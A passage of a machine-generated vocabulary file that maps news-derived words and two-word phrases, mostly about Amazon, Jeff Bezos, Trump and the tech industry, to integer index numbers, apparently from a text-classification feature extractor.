\"parkland survivors\": 126544,\n  \"muslim countries\": 126545,\n  \"join tom\": 126546,\n  \"story hotel\": 126547,\n  \"leaking private\": 126548,\n  \"provide training\": 126549,\n  \"gone silent\": 126550,\n  \"samsung apple\": 126551,\n  \"palestinian rights\": 126552,\n  \"president bezos\": 126553,\n  \"mining\": 126554,\n  \"best ratings\": 126555,\n  \"unions wrote\": 126556,\n  \"selloff compares\": 126557,\n  \"doing excellent\": 126558,\n  \"prefab\": 126559,\n  \"wrongdoing trump\": 126560,\n  \"president history\": 126561,\n  \"competing bid\": 126562,\n  \"columnist max\": 126563,\n  \"tax price\": 126564,\n  \"photos expected\": 126565,\n  \"d\\u00e9by\": 126566,\n  \"existing broadcasters\": 126567,\n  \"poverty low\": 126568,\n  \"bourke\": 126569,\n  \"performers\": 126570,\n  \"pretty glorious\": 126571,\n  \"berman democracy\": 126572,\n  \"lousy\": 126573,\n  \"engadget facebook\": 126574,\n  \"monopolistic business\": 126575,\n  \"spokeswoman reuters\": 126576,\n  \"luong new\": 126577,\n  \"technical talent\": 126578,\n  \"payment following\": 126579,\n  \"post report\": 126580,\n  \"spiraling\": 126581,\n  \"state tried\": 126582,\n  \"major company\": 126583,\n  \"california picture\": 126584,\n  \"hone\": 126585,\n  \"including american\": 126586,\n  \"track politicians\": 126587,\n  \"aka amazon\": 126588,\n  \"ann coulter\": 126589,\n  \"companies expect\": 126590,\n  \"sound transit\": 126591,\n  \"ragehole maybe\": 126592,\n  \"bloke\": 126593,\n  \"soon simply\": 126594,\n  \"twitter iran\": 126595,\n  \"nightmares\": 126596,\n  \"pagels enmeshes\": 126597,\n  \"artifice superficiality\": 126598,\n  \"world hide\": 126599,\n  \"clees\": 126600,\n  \"novel later\": 126601,\n  \"reported 831\": 126602,\n  \"1oypfe9\": 126603,\n  \"alexa wireless\": 126604,\n  \"black magic\": 126605,\n  \"economy bank\": 126606,\n  \"political priorities\": 126607,\n  \"procompetitive\": 126608,\n  \"agency bytes\": 126609,\n  \"huseman\": 126610,\n  \"standard team\": 126611,\n  \"current pricing\": 126612,\n  \"jennifer lawrence\": 126613,\n  \"professional relationship\": 126614,\n  \"refugee assistance\": 126615,\n  \"current policies\": 126616,\n  \"class size\": 126617,\n  \"national convention\": 126618,\n  \"great earnings\": 126619,\n  \"apprehensions\": 126620,\n  \"reviews dining\": 126621,\n  \"original design\": 126622,\n  \"hrc\": 126623,\n  \"revenue warnings\": 126624,\n  \"perfect union\": 126625,\n  \"story exlarge\": 126626,\n  \"winfield\": 126627,\n  \"ibuprofen\": 126628,\n  \"parent thread\": 126629,\n  \"mccain funeral\": 126630,\n  \"884\": 126631,\n  \"trace lizzie\": 126632,\n  \"sector companies\": 126633,\n  \"morning flurry\": 126634,\n  \"fearless girl\": 126635,\n  \"issues experiences\": 126636,\n  \"minuteman aviation\": 126637,\n  \"stock selloff\": 126638,\n  \"career opportunities\": 126639,\n  \"massively profitable\": 126640,\n  \"ambulances using\": 126641,\n  \"undoubtedly reaffirm\": 126642,\n  \"adobe photoshop\": 126643,\n  \"wasn counted\": 126644,\n  \"reiterated concerns\": 126645,\n  \"press stacey\": 126646,\n  \"photo president\": 126647,\n  \"driving digital\": 126648,\n  \"work wants\": 126649,\n  \"rule charge\": 126650,\n  \"rep lee\": 126651,\n  \"worst levels\": 126652,\n  \"local sports\": 126653,\n  \"key tech\": 126654,\n  \"notify consumers\": 126655,\n  \"loophole wide\": 126656,\n  \"media flipped\": 126657,\n  \"longreads\": 126658,\n  \"mainstream energy\": 126659,\n  \"8217 strategy\": 126660,\n  \"zoo tickets\": 126661,\n  \"heartbreaking tragedy\": 126662,\n  \"follows later\": 126663,\n  \"agency welcomed\": 126664,\n  \"bureaucratic\": 126665,\n  \"largest gateway\": 126666,\n  \"british union\": 126667,\n  \"wireto\": 126668,\n  \"clipping\": 126669,\n  \"billionaire value\": 126670,\n  \"election violence\": 126671,\n  \"schlumberger\": 126672,\n  \"dole\": 126673,\n  \"media interests\": 126674,\n  \"view comments\": 126675,\n  \"hear bozo\": 126676,\n  \"prevailing wage\": 126677,\n  \"rugeley site\": 126678,\n  \"public war\": 126679,\n  \"contains medicine\": 126680,\n  \"email viewed\": 126681,\n  \"extremely worrying\": 126682,\n  \"parental rights\": 126683,\n  \"trump beautiful\": 126684,\n  \"amazon breasts\": 126685,\n  \"state political\": 126686,\n  \"bloated government\": 126687,\n  \"factory farming\": 126688,\n  \"embarrassing extramarital\": 126689,\n  \"amazon ability\": 126690,\n  \"windy\": 126691,\n  \"williamson\": 126692,\n  \"misrouted\": 126693,\n  \"secondary residences\": 126694,\n  \"home mesh\": 126695,\n  \"restored soon\": 126696,\n  \"woocommerce squarespace\": 126697,\n  \"shipping usps\": 126698,\n  \"neighborhood hugs\": 126699,\n  \"roku players\": 126700,\n  \"stock surging\": 126701,\n  \"cnbc hating\": 126702,\n  \"related deloitte\": 126703,\n  \"sens jeff\": 126704,\n  \"revenue shipping\": 126705,\n  \"half months\": 126706,\n  \"cloudy skies\": 126707,\n  \"oscars weather\": 126708,\n  \"variant\": 126709,\n  \"kinda\": 126710,\n  \"economic\": 126711,\n  \"movement voice\": 126712,\n  \"latest punch\": 126713,\n  \"salt\": 126714,\n  \"mega millions\": 126715,\n  \"trump insisted\": 126716,\n  \"hearing lawmakers\": 126717,\n  \"wesley\": 126718,\n  \"comedy\": 126719,\n  \"1950s faced\": 126720,\n  \"india populist\": 126721,\n  \"honest entrepreneurs\": 126722,\n  \"campaigns including\": 126723,\n  \"lessen unless\": 126724,\n  \"america biggest\": 126725,\n  \"meeting disappoints\": 126726,\n  \"group wanting\": 126727,\n  \"goldenberg report\": 126728,\n  \"tawdry details\": 126729,\n  \"deputy basic\": 126730,\n  \"ruthlessly\": 126731,\n  \"million company\": 126732,\n  \"warren centered\": 126733,\n  \"absent legislative\": 126734,\n  \"business fronts\": 126735,\n  \"lunar voyage\": 126736,\n  \"say lack\": 126737,\n  \"assigned account\": 126738,\n  \"relatively common\": 126739,\n  \"round tiny\": 126740,\n  \"trump past\": 126741,\n  \"google shadow\": 126742,\n  \"negative news\": 126743,\n  \"began exploring\": 126744,\n  \"manipulative media\": 126745,\n  \"old israeli\": 126746,\n  \"averse intelligence\": 126747,\n  \"justice soy\": 126748,\n  \"brin compares\": 126749,\n  \"surpass apple\": 126750,\n  \"billing contractor\": 126751,\n  \"trackingpixel promotions\": 126752,\n  \"nonfiction amistad\": 126753,\n  \"newlyweds afghanistan\": 126754,\n  \"tv stick\": 126755,\n  \"contributor lauren\": 126756,\n  \"galloway book\": 126757,\n  \"depreciation breaks\": 126758,\n  \"close friend\": 126759,\n  \"faster grocery\": 126760,\n  \"2015 ends\": 126761,\n  \"old worker\": 126762,\n  \"increases helped\": 126763,\n  \"getting revenue\": 126764,\n  \"incredibly sturdy\": 126765,\n  \"patronizing\": 126766,\n  \"startup strategy\": 126767,\n  \"changes believe\": 126768,\n  \"mob cooper\": 126769,\n  \"pecker received\": 126770,\n  \"cont ron\": 126771,\n  \"stalled daca\": 126772,\n  \"2017 earnings\": 126773,\n  \"specific ones\": 126774,\n  \"received reports\": 126775,\n  \"amazon sell\": 126776,\n  \"racist steve\": 126777,\n  \"perils\": 126778,\n  \"level findings\": 126779,\n  \"mexico texas\": 126780,\n  \"mart facebook\": 126781,\n  \"dominating giants\": 126782,\n  \"china 2018\": 126783,\n  \"report notes\": 126784,\n  \"nicole kidman\": 126785,\n  \"imports including\": 126786,\n  \"activists scrutinizing\": 126787,\n  \"train wrecks\": 126788,\n  \"effectively making\": 126789,\n  \"regrowth treatments\": 126790,\n  \"putting brick\": 126791,\n  \"favor trump\": 126792,\n  \"orcl fired\": 126793,\n  \"warns iran\": 126794,\n  \"cottage\": 126795,\n  \"rates market\": 126796,\n  \"atul\": 126797,\n  \"approximately 755\": 126798,\n  \"private talks\": 126799,\n  \"flex recently\": 126800,\n  \"responsive politics\": 126801,\n  \"troubling reports\": 126802,\n  \"post bits\": 126803,\n  \"familie\": 126804,\n  \"bold vision\": 126805,\n  \"technology adopted\": 126806,\n  \"trump fault\": 126807,\n  \"share repurchase\": 126808,\n  \"prominent marketplace\": 126809,\n  \"larger customer\": 126810,\n  \"seeing wage\": 126811,\n  \"topical fiction\": 126812,\n  \"night loser\": 126813,\n  \"picked fight\": 126814,\n  \"consumers walmart\": 126815,\n  \"euphemistically described\": 126816,\n  \"tech broke\": 126817,\n  \"reports usps\": 126818,\n  \"gregory meeks\": 126819,\n  \"send amazon\": 126820,\n  \"historic 2013\": 126821,\n  \"valid cause\": 126822,\n  \"diver\": 126823,\n  \"cost extra\": 126824,\n  \"leo shane\": 126825,\n  \"z6 youth\": 126826,\n  \"advising\": 126827,\n  \"brosseau\": 126828,\n  \"enquirer scotus\": 126829,\n  \"influential banking\": 126830,\n  \"behoove\": 126831,\n  \"housing inventory\": 126832,\n  \"melillo sr\": 126833,\n  \"jessica jones\": 126834,\n  \"amazon operates\": 126835,\n  \"a4ee c1\": 126836,\n  \"illicit\": 126837,\n  \"party progressive\": 126838,\n  \"conference learn\": 126839,\n  \"early earning\": 126840,\n  \"total packages\": 126841,\n  \"right mcdowell\": 126842,\n  \"plunged\": 126843,\n  \"netflix hasn\": 126844,\n  \"sackler letter\": 126845,\n  \"important companies\": 126846,\n  \"new figures\": 126847,\n  \"favorite chef\": 126848,\n  \"davidson shares\": 126849,\n  \"deeper trump\": 126850,\n  \"away preferential\": 126851,\n  \"healthy spencer\": 126852,\n  \"1745 bst\": 126853,\n  \"greater farm\": 126854,\n  \"trump detention\": 126855,\n  \"sketch writing\": 126856,\n  \"accusations follower\": 126857,\n  \"foreign governments\": 126858,\n  \"service salon\": 126859,\n  \"social concerns\": 126860,\n  \"johnston foto\": 126861,\n  \"mm\": 126862,\n  \"process women\": 126863,\n  \"blackmail amazon\": 126864,\n  \"firm immensely\": 126865,\n  \"foxconn began\": 126866,\n  \"unknown little\": 126867,\n  \"editors writers\": 126868,\n  \"weather posted\": 126869,\n  \"17338732\": 126870,\n  \"meaningful change\": 126871,\n  \"tax status\": 126872,\n  \"bezos sorry\": 126873,\n  \"anguish\": 126874,\n  \"negative tax\": 126875,\n  \"economics work\": 126876,\n  \"organizations engage\": 126877,\n  \"searching look\": 126878,\n  \"government taxes\": 126879,\n  \"wall collapse\": 126880,\n  \"retail icon\": 126881,\n  \"middleton\": 126882,\n  \"federal prosecutors\": 126883,\n  \"vox mark\": 126884,\n  \"deteriorated fixed\": 126885,\n  \"world religions\": 126886,\n  \"post jezebel\": 126887,\n  \"tenured\": 126888,\n  \"publicly supportive\": 126889,\n  \"new broward\": 126890,\n  \"baby coming\": 126891,\n  \"party nation\": 126892,\n  \"week surrounding\": 126893,\n  \"bezos largest\": 126894,\n  \"final frontiers\": 126895,\n  \"city politicians\": 126896,\n  \"presidency corby\": 126897,\n  \"v4 i4\": 126898,\n  \"glorify\": 126899,\n  \"fund did\": 126900,\n  \"abiding americans\": 126901,\n  \"fields winston\": 126902,\n  \"work attorney\": 126903,\n  \"echos\": 126904,\n  \"reversal medication\": 126905,\n  \"transactions increased\": 126906,\n  \"senne\": 126907,\n  \"david bought\": 126908,\n  \"dismissed forgotten\": 126909,\n  \"small subset\": 126910,\n  \"report manafort\": 126911,\n  \"affect drivers\": 126912,\n  \"penetrating\": 126913,\n  \"columnist holman\": 126914,\n  \"plow capital\": 126915,\n  \"trend continues\": 126916,\n  \"2017 survey\": 126917,\n  \"harris booker\": 126918,\n  \"julia salazar\": 126919,\n  \"queens ocasio\": 126920,\n  \"begets\": 126921,\n  \"boost yesterday\": 126922,\n  \"pence wealth\": 126923,\n  \"mini grand\": 126924,\n  \"region largest\": 126925,\n  \"senders warned\": 126926,\n  \"growth fund\": 126927,\n  \"borrowing leaf\": 126928,\n  \"included helping\": 126929,\n  \"chat tony\": 126930,\n  \"specific news\": 126931,\n  \"headlines letter\": 126932,\n  \"tracks reimposes\": 126933,\n  \"details regarding\": 126934,\n  \"company delayed\": 126935,\n  \"lavish getaway\": 126936,\n  \"vintage style\": 126937,\n  \"yesterday jim\": 126938,\n  \"technology particularly\": 126939,\n  \"president targeting\": 126940,\n  \"red alert\": 126941,\n  \"operation trump\": 126942,\n  \"defensive posture\": 126943,\n  \"katie mettler\": 126944,\n  \"trump corporate\": 126945,\n  \"service representatives\": 126946,\n  \"great prices\": 126947,\n  \"traded cardinal\": 126948,\n  \"massive bargaining\": 126949,\n  \"government president\": 126950,\n  \"outdated leading\": 126951,\n  \"marriage finds\": 126952,\n  \"legal government\": 126953,\n  \"rourke\": 126954,\n  \"tweet trump\": 126955,\n  \"various conspiracies\": 126956,\n  \"outlets stephen\": 126957,\n  \"faraway island\": 126958,\n  \"usps 2017\": 126959,\n  \"public practice\": 126960,\n  \"greeted president\": 126961,\n  \"proclaimed amazon\": 126962,\n  \"perez cnn\": 126963,\n  \"prices trump\": 126964,\n  \"bookseller called\": 126965,\n  \"want answers\": 126966,\n  \"215 customer\": 126967,\n  \"lying litigation\": 126968,\n  \"giant big\": 126969,\n  \"richsplaining characterization\": 126970,\n  \"tolerate censorship\": 126971,\n  \"long week\": 126972,\n  \"localand state\": 126973,\n  \"showsocialsharebar\": 126974,\n  \"witches\": 126975,\n  \"hypocrisy scale\": 126976,\n  \"similar complaints\": 126977,\n  \"record setting\": 126978,\n  \"secretary laura\": 126979,\n  \"reports forbes\": 126980,\n  \"controversial nfl\": 126981,\n  \"wikimedia\": 126982,\n  \"blog kseattleweather\": 126983,\n  \"requests customers\": 126984,\n  \"group techfreedom\": 126985,\n  \"khashoggi\": 126986,\n  \"hyde crown\": 126987,\n  \"farrow ronanfarrow\": 126988,\n  \"survive thousands\": 126989,\n  \"money referred\": 126990,\n  \"deducting mortgage\": 126991,\n  \"rights sanders\": 126992,\n  \"adding think\": 126993,\n  \"alibabas\": 126994,\n  \"country banks\": 126995,\n  \"privacy issue\": 126996,\n  \"caravan fixation\": 126997,\n  \"flashpoint seized\": 126998,\n  \"post entitled\": 126999,\n  \"crackedmarket\": 127000,\n  \"business experience\": 127001,\n  \"inside black\": 127002,\n  \"crossings does\": 127003,\n  \"replaced tragedy\": 127004,\n  \"best cooking\": 127005,\n  \"cover notes\": 127006,\n  \"tundra\": 127007,\n  \"set record\": 127008,\n  \"portland city\": 127009,\n  \"pakistan captures\": 127010,\n  \"gearing policy\": 127011,\n  \"juvenile nicknames\": 127012,\n  \"valley tax\": 127013,\n  \"daniel cowan\": 127014,\n  \"actress marion\": 127015,\n  \"anxious young\": 127016,\n  \"necessary given\": 127017,\n  \"briefly turned\": 127018,\n  \"depart marcia\": 127019,\n  \"briefings editor\": 127020,\n  \"amazon subsidies\": 127021,\n  \"rivals threaten\": 127022,\n  \"trumka\": 127023,\n  \"seething\": 127024,\n  \"unneeded\": 127025,\n  \"require large\": 127026,\n  \"want special\": 127027,\n  \"concrete case\": 127028,\n  \"themed amusement\": 127029,\n  \"presence looms\": 127030,\n  \"synagogue attack\": 127031,\n  \"amazon led\": 127032,\n  \"deputy fbi\": 127033,\n  \"froome\": 127034,\n  \"mailing shipping\": 127035,\n  \"hour making\": 127036,\n  \"shoppers faster\": 127037,\n  \"experts telling\": 127038,\n  \"increasing domination\": 127039,\n  \"money marius\": 127040,\n  \"prices legal\": 127041,\n  \"injured soldier\": 127042,\n  \"premier social\": 127043,\n  \"hollywood 2018\": 127044,\n  \"giant zte\": 127045,\n  \"mecca\": 127046,\n  \"strongest stores\": 127047,\n  \"sponsored column\": 127048,\n  \"controversial contract\": 127049,\n  \"burying\": 127050,\n  \"fastest\": 127051,\n  \"markets behaved\": 127052,\n  \"team decided\": 127053,\n  \"peer pharma\": 127054,\n  \"county updated\": 127055,\n  \"helping toronto\": 127056,\n  \"mailbox monopoly\": 127057,\n  \"agriculture modeling\": 127058,\n  \"recalls\": 127059,\n  \"texts leaker\": 127060,\n  \"policy mccain\": 127061,\n  \"adele stormzy\": 127062,\n  \"forum bezos\": 127063,\n  \"highways\": 127064,\n  \"investigation ended\": 127065,\n  \"emergency amazon\": 127066,\n  \"changing deal\": 127067,\n  \"set normally\": 127068,\n  \"dominance investors\": 127069,\n  \"duel trump\": 127070,\n  \"zte huawei\": 127071,\n  \"coffee futures\": 127072,\n  \"trump doesn\": 127073,\n  \"new incentives\": 127074,\n  \"day history\": 127075,\n  \"missing justin\": 127076,\n  \"rubinstein justice\": 127077,\n  \"lestenkof destiny\": 127078,\n  \"psycho 1991\": 127079,\n  \"sadie\": 127080,\n  \"mortal\": 127081,\n  \"glaringly racist\": 127082,\n  \"6am\": 127083,\n  \"premise\": 127084,\n  \"loss gaap\": 127085,\n  \"population terms\": 127086,\n  \"innovation center\": 127087,\n  \"ted warren\": 127088,\n  \"kcet\": 127089,\n  \"arena tour\": 127090,\n  \"created gif\": 127091,\n  \"zguz\": 127092,\n  \"lucian\": 127093,\n  \"flaws\": 127094,\n  \"movie tickets\": 127095,\n  \"cds\": 127096,\n  \"rouhani threaten\": 127097,\n  \"hiring tens\": 127098,\n  \"systems wearables\": 127099,\n  \"nowadays\": 127100,\n  \"twitter intensified\": 127101,\n  \"threatened regulatory\": 127102,\n  \"challenger nate\": 127103,\n  \"shy anxious\": 127104,\n  \"column runs\": 127105,\n  \"china telecommunications\": 127106,\n  \"giant protest\": 127107,\n  \"aggressive oversight\": 127108,\n  \"seizures\": 127109,\n  \"drags hillary\": 127110,\n  \"favors president\": 127111,\n  \"glitter\": 127112,\n  \"beyonc\": 127113,\n  \"tuning\": 127114,\n  \"wjlpcbis8u walmart\": 127115,\n  \"carefully scrutinized\": 127116,\n  \"paper coverage\": 127117,\n  \"steph curry\": 127118,\n  \"house amazon\": 127119,\n  \"unequivocally good\": 127120,\n  \"oil exploration\": 127121,\n  \"present overwhelming\": 127122,\n  \"groveled\": 127123,\n  \"gbh\": 127124,\n  \"total shipping\": 127125,\n  \"shipping war\": 127126,\n  \"helicopter\": 127127,\n  \"misrepresenting\": 127128,\n  \"bezos blistering\": 127129,\n  \"little suburb\": 127130,\n  \"oz areas\": 127131,\n  \"investors says\": 127132,\n  \"helmed\": 127133,\n  \"term treatment\": 127134,\n  \"distinct characteristics\": 127135,\n  \"ire according\": 127136,\n  \"palestine herald\": 127137,\n  \"193 194\": 127138,\n  \"heartfelt netflix\": 127139,\n  \"rapid rate\": 127140,\n  \"sold aspirin\": 127141,\n  \"delong elizabeth\": 127142,\n  \"seeking\": 127143,\n  \"heightened violence\": 127144,\n  \"unsurprisingly\": 127145,\n  \"security services\": 127146,\n  \"good asset\": 127147,\n  \"extra mailing\": 127148,\n  \"leaking\": 127149,\n  \"cooks\": 127150,\n  \"offer cloud\": 127151,\n  \"familiar themes\": 127152,\n  \"equity firm\": 127153,\n  \"say enjoy\": 127154,\n  \"lectures presumed\": 127155,\n  \"kelly multiple\": 127156,\n  \"trust bias\": 127157,\n  \"intelligent doesn\": 127158,\n  \"forbes noted\": 127159,\n  \"press conference\": 127160,\n  \"trump rise\": 127161,\n  \"entire sectors\": 127162,\n  \"suspending visitors\": 127163,\n  \"satchel outdoor\": 127164,\n  \"joshua brustein\": 127165,\n  \"mayer michael\": 127166,\n  \"industry used\": 127167,\n  \"merchandising fashion\": 127168,\n  \"lined\": 127169,\n  \"believed\": 127170,\n  \"author michael\": 127171,\n  \"placeholder publication\": 127172,\n  \"biggest challenge\": 127173,\n  \"spotlight amazon\": 127174,\n  \"announcing arlington\": 127175,\n  \"hollowness\": 127176,\n  \"manager 2019\": 127177,\n  \"alzheimer studies\": 127178,\n  \"tennis seeing\": 127179,\n  \"buy orders\": 127180,\n  \"gorgeous imagine\": 127181,\n  \"think jeff\": 127182,\n  \"despite china\": 127183,\n  \"packer beeson\": 127184,\n  \"party shouting\": 127185,\n  \"administration released\": 127186,\n  \"chinese economy\": 127187,\n  \"increase traffic\": 127188,\n  \"legally forced\": 127189,\n  \"powerful situation\": 127190,\n  \"overall amazon\": 127191,\n  \"throws\": 127192,\n  \"billed\": 127193,\n  \"later_30\": 127194,\n  \"lucrative industries\": 127195,\n  \"higher rates\": 127196,\n  \"1600 osgood\": 127197,\n  \"today mini\": 127198,\n  \"investors ways\": 127199,\n  \"daintiest\": 127200,\n  \"nov 2017tony\": 127201,\n  \"example set\": 127202,\n  \"saw ge\": 127203,\n  \"power restoring\": 127204,\n  \"table 2018\": 127205,\n  \"revenue growth\": 127206,\n  \"ago nation\": 127207,\n  \"higher consumer\": 127208,\n  \"cayne\": 127209,\n  \"trump things\": 127210,\n  \"memory better\": 127211,\n  \"house unveiled\": 127212,\n  \"mayer harvest\": 127213,\n  \"increasing housing\": 127214,\n  \"subordinate environmental\": 127215,\n  \"huge potential\": 127216,\n  \"department states\": 127217,\n  \"directors teresa\": 127218,\n  \"couple announced\": 127219,\n  \"engineer representing\": 127220,\n  \"haverford\": 127221,\n  \"awakening listed\": 127222,\n  \"cabinet ministers\": 127223,\n  \"families rep\": 127224,\n  \"value milestone\": 127225,\n  \"alternative cloud\": 127226,\n  \"store sites\": 127227,\n  \"bezos exchanged\": 127228,\n  \"melissa mccarthy\": 127229,\n  \"perspective earlier\": 127230,\n  \"says tens\": 127231,\n  \"screenwriter boyfriend\": 127232,\n  \"work force\": 127233,\n  \"hounds\": 127234,\n  \"chief sheryl\": 127235,\n  \"meant jeff\": 127236,\n  \"forcing fast\": 127237,\n  \"sears place\": 127238,\n  \"inquiry conducted\": 127239,\n  \"immigration case\": 127240,\n  \"retailer warehouses\": 127241,\n  \"taken issue\": 127242,\n  \"eventually dominate\": 127243,\n  \"precursor conspiracy\": 127244,\n  \"postponed\": 127245,\n  \"clean renewable\": 127246,\n  \"girth\": 127247,\n  \"michael involvement\": 127248,\n  \"orwell novel\": 127249,\n  \"guns roses\": 127250,\n  \"school pba\": 127251,\n  \"adviser bolton\": 127252,\n  \"brand new\": 127253,\n  \"energy politics\": 127254,\n  \"tough mean\": 127255,\n  \"retailer sales\": 127256,\n  \"reloading\": 127257,\n  \"perpetual childhood\": 127258,\n  \"hustle selling\": 127259,\n  \"official names\": 127260,\n  \"feb 2019\": 127261,\n  \"radio silence\": 127262,\n  \"touted purpose\": 127263,\n  \"gingrich\": 127264,\n  \"isn breaking\": 127265,\n  \"arrive photo\": 127266,\n  \"emotional appeal\": 127267,\n  \"gain foothold\": 127268,\n  \"prime soared\": 127269,\n  \"calling mccain\": 127270,\n  \"political monoculture\": 127271,\n  \"reselling\": 127272,\n  \"eligible trademarks\": 127273,\n  \"statement sent\": 127274,\n  \"revised terms\": 127275,\n  \"create tennessee\": 127276,\n  \"g5q\": 127277,\n  \"egerton richard\": 127278,\n  \"randi\": 127279,\n  \"mariia\": 127280,\n  \"make changes\": 127281,\n  \"service refugees\": 127282,\n  \"healy\": 127283,\n  \"corners\": 127284,\n  \"philanthropic giving\": 127285,\n  \"plutocrat insists\": 127286,\n  \"provide amazon\": 127287,\n  \"london ap\": 127288,\n  \"markets today\": 127289,\n  \"time discussing\": 127290,\n  \"robert kerlinger\": 127291,\n  \"outbursts\": 127292,\n  \"img_w 2000\": 127293,\n  \"drawn barrage\": 127294,\n  \"hill doing\": 127295,\n  \"updated power\": 127296,\n  \"employee\": 127297,\n  \"man elected\": 127298,\n  \"metadata init\": 127299,\n  \"strongly discouraged\": 127300,\n  \"just blocks\": 127301,\n  \"growth areas\": 127302,\n  \"driven decisions\": 127303,\n  \"best debut\": 127304,\n  \"imports investigation\": 127305,\n  \"trump image\": 127306,\n  \"pushing rodriguez\": 127307,\n  \"amazon values\": 127308,\n  \"crime lord\": 127309,\n  \"gay rights\": 127310,\n  \"significantly expanding\": 127311,\n  \"amendment right\": 127312,\n  \"began emerging\": 127313,\n  \"tyler perry\": 127314,\n  \"related fox\": 127315,\n  \"extra discount\": 127316,\n  \"raisedthe idea\": 127317,\n  \"particular\": 127318,\n  \"decker opinion\": 127319,\n  \"holds 422\": 127320,\n  \"21st judge\": 127321,\n  \"disrupt\": 127322,\n  \"hear missile\": 127323,\n  \"notebook\": 127324,\n  \"enormous amazon\": 127325,\n  \"offer members\": 127326,\n  \"ross jim\": 127327,\n  \"cah acadian\": 127328,\n  \"undress according\": 127329,\n  \"points related\": 127330,\n  \"choice awards\": 127331,\n  \"ellison slammed\": 127332,\n  \"ireland latvia\": 127333,\n  \"unique isbn\": 127334,\n  \"voluntarily recalling\": 127335,\n  \"politicians including\": 127336,\n  \"walmart hasn\": 127337,\n  \"sunset hope\": 127338,\n  \"scraped\": 127339,\n  \"airbnb magazine\": 127340,\n  \"shopping age\": 127341,\n  \"member vallone\": 127342,\n  \"news stops\": 127343,\n  \"deviously eliminate\": 127344,\n  \"eisen nightly\": 127345,\n  \"politics newsletter\": 127346,\n  \"huge chinese\": 127347,\n  \"requesting wage\": 127348,\n  \"messages washington\": 127349,\n  \"luck legal\": 127350,\n  \"threshold tell\": 127351,\n  \"consumer discretionary\": 127352,\n  \"promptly loses\": 127353,\n  \"political blow\": 127354,\n  \"ills similar\": 127355,\n  \"story foxconn\": 127356,\n  \"sea production\": 127357,\n  \"addictions immigration\": 127358,\n  \"sold big\": 127359,\n  \"merger spat\": 127360,\n  \"minuteman\": 127361,\n  \"pennsylvania elite\": 127362,\n  \"trump tirade\": 127363,\n  \"joint\": 127364,\n  \"newsedge\": 127365,\n  \"scandal google\": 127366,\n  \"conflict dow\": 127367,\n  \"cities instead\": 127368,\n  \"malinowski having\": 127369,\n  \"2f9\": 127370,\n  \"sorrell\": 127371,\n  \"baptist president\": 127372,\n  \"actors alec\": 127373,\n  \"everybody leaves\": 127374,\n  \"income critical\": 127375,\n  \"earnings day\": 127376,\n  \"form need\": 127377,\n  \"sophomore\": 127378,\n  \"house correspondents\": 127379,\n  \"150 pounds\": 127380,\n  \"incompetent\": 127381,\n  \"just stinks\": 127382,\n  \"semiconductors chinese\": 127383,\n  \"noah smith\": 127384,\n  \"added average\": 127385,\n  \"family danny\": 127386,\n  \"total retail\": 127387,\n  \"ucf champions\": 127388,\n  \"amazon looks\": 127389,\n  \"delayed election\": 127390,\n  \"misleading cnbc\": 127391,\n  \"says gundlach\": 127392,\n  \"handout alas\": 127393,\n  \"sanders references\": 127394,\n  \"apparently typed\": 127395,\n  \"fortune bob\": 127396,\n  \"chinese nationals\": 127397,\n  \"2018 john\": 127398,\n  \"second search\": 127399,\n  \"general joseph\": 127400,\n  \"mortgages start\": 127401,\n  \"28222\": 127402,\n  \"integrated case\": 127403,\n  \"funko pops\": 127404,\n  \"justice charges\": 127405,\n  \"amazon david\": 127406,\n  \"mcgill trump\": 127407,\n  \"won build\": 127408,\n  \"halt entry\": 127409,\n  \"story crypto\": 127410,\n  \"provided surge\": 127411,\n  \"country dedicated\": 127412,\n  \"broken patent\": 127413,\n  \"phone apple\": 127414,\n  \"iot council\": 127415,\n  \"bolsonaro desire\": 127416,\n  \"netflix immediately\": 127417,\n  \"start\": 127418,\n  \"cybersecurity jobs\": 127419,\n  \"insurance providers\": 127420,\n  \"discover financial\": 127421,\n  \"spoilers\": 127422,\n  \"tech fueled\": 127423,\n  \"new highly\": 127424,\n  \"wsjournal criticize\": 127425,\n  \"block unwanted\": 127426,\n  \"crimes prosecutor\": 127427,\n  \"arrivals\": 127428,\n  \"impossibly absorbing\": 127429,\n  \"opinion staff\": 127430,\n  \"lead underwriters\": 127431,\n  \"impressive\": 127432,\n  \"government customs\": 127433,\n  \"shockwave\": 127434,\n  \"slalom\": 127435,\n  \"actually wasn\": 127436,\n  \"trump tantrum\": 127437,\n  \"ami argued\": 127438,\n  \"committees claims\": 127439,\n  \"sellers ebay\": 127440,\n  \"marketplace etsy\": 127441,\n  \"investigation russia\": 127442,\n  \"ecologist\": 127443,\n  \"retail google\": 127444,\n  \"nbc california\": 127445,\n  \"opened official\": 127446,\n  \"france canada\": 127447,\n  \"economictimes\": 127448,\n  \"allegiances\": 127449,\n  \"sends second\": 127450,\n  \"create private\": 127451,\n  \"simultaneously work\": 127452,\n  \"provide oversight\": 127453,\n  \"tensions impact\": 127454,\n  \"facebook historic\": 127455,\n  \"incremental revenue\": 127456,\n  \"051 500\": 127457,\n  \"politically involved\": 127458,\n  \"orders using\": 127459,\n  \"barry eichengreen\": 127460,\n  \"deliberating kickers\": 127461,\n  \"amazon sure\": 127462,\n  \"potty photo\": 127463,\n  \"better capability\": 127464,\n  \"losses totaling\": 127465,\n  \"objectionable pen\": 127466,\n  \"eleventh straight\": 127467,\n  \"company repositions\": 127468,\n  \"tractors cattle\": 127469,\n  \"entire star\": 127470,\n  \"economy imf\": 127471,\n  \"headlines regarding\": 127472,\n  \"exclusive ibd\": 127473,\n  \"truly cared\": 127474,\n  \"palkar season\": 127475,\n  \"enquirer successful\": 127476,\n  \"reap benefits\": 127477,\n  \"cook\": 127478,\n  \"allowing potential\": 127479,\n  \"media rivals\": 127480,\n  \"rushmore earrings\": 127481,\n  \"stacey going\": 127482,\n  \"susan\": 127483,\n  \"national tv\": 127484,\n  \"guardian headlines\": 127485,\n  \"counterfeiting offensive\": 127486,\n  \"cassidy joni\": 127487,\n  \"honest effort\": 127488,\n  \"pirro copies\": 127489,\n  \"novel takes\": 127490,\n  \"negatively data\": 127491,\n  \"retired self\": 127492,\n  \"downside isn\": 127493,\n  \"constitutional rights\": 127494,\n  \"watch jon\": 127495,\n  \"reducing corporate\": 127496,\n  \"resources needed\": 127497,\n  \"completed suicides\": 127498,\n  \"stephen ross\": 127499,\n  \"amazon order\": 127500,\n  \"higher poverty\": 127501,\n  \"scandal literally\": 127502,\n  \"flavored coffee\": 127503,\n  \"toys featuring\": 127504,\n  \"mighty power\": 127505,\n  \"guardian kennedy\": 127506,\n  \"student allegedly\": 127507,\n  \"good fit\": 127508,\n  \"caveat\": 